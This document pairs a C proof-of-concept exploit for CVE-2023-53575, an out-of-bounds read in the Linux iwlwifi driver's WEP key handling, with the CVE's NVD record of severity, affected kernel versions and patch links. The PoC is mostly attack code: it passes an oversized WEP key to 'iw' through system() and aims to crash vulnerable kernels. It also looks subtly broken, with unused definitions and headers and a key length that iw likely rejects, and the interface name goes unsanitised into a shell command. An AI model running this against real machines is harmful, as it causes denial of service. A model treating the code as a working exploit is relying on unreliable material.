CVE-2023-53575

/* CVE-2023-53575 PoC - iwlwifi WEP key array OOB read * Trigger array out-of-bounds access in iwl_mvm_sec_key_add() * by sending a crafted WEP key configuration via nl80211. * * Note: Requires local low-privilege access and an Intel wireless NIC. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/nl80211.h> #define IWL_SEC_WEP_KEY_OFFSET 0 static int trigger_oob_read(const char *ifname) { /* Simplified PoC: use iw/nl80211 to set a WEP key with * abnormal key_len that bypasses the missing offset check. * * The vulnerable code path: * iwl_mvm_sec_key_add() -> key validation without * accounting for IWL_SEC_WEP_KEY_OFFSET */ char cmd[512]; /* Craft a WEP key with length that triggers OOB when offset is not subtracted */ snprintf(cmd, sizeof(cmd), "iw dev %s key d:0 %s 2>/dev/null", ifname, "4141414141414141414141414141414141414141414141414141414141414141"); printf("[*] Executing: %s\n", cmd); int ret = system(cmd); /* If kernel is vulnerable, this may trigger OOB read and crash */ return ret; } int main(int argc, char *argv[]) { if (argc < 2) { fprintf(stderr, "Usage: %s <wireless_interface>\n", argv[0]); fprintf(stderr, "Example: %s wlan0\n", argv[0]); return 1; } printf("[*] CVE-2023-53575 PoC - iwlwifi WEP key OOB read\n"); printf("[*] Target interface: %s\n", argv[1]); return trigger_oob_read(argv[1]); }

{"cve": {"id": "CVE-2023-53575", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:53.140", "lastModified": "2026-03-21T01:06:48.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: iwlwifi: mvm: fix potential array out of bounds access\n\nAccount for IWL_SEC_WEP_KEY_OFFSET when needed while verifying\nkey_len size in iwl_mvm_sec_key_add()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.4.7", "matchCriteriaId": "60A1A1ED-EA6C-42F6-80D3-3316DC7608C7"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/133b1cd4d98bb8b272335c8e6b0e0c399c0b2ffa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/637452360ecde9ac972d19416e9606529576b302", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}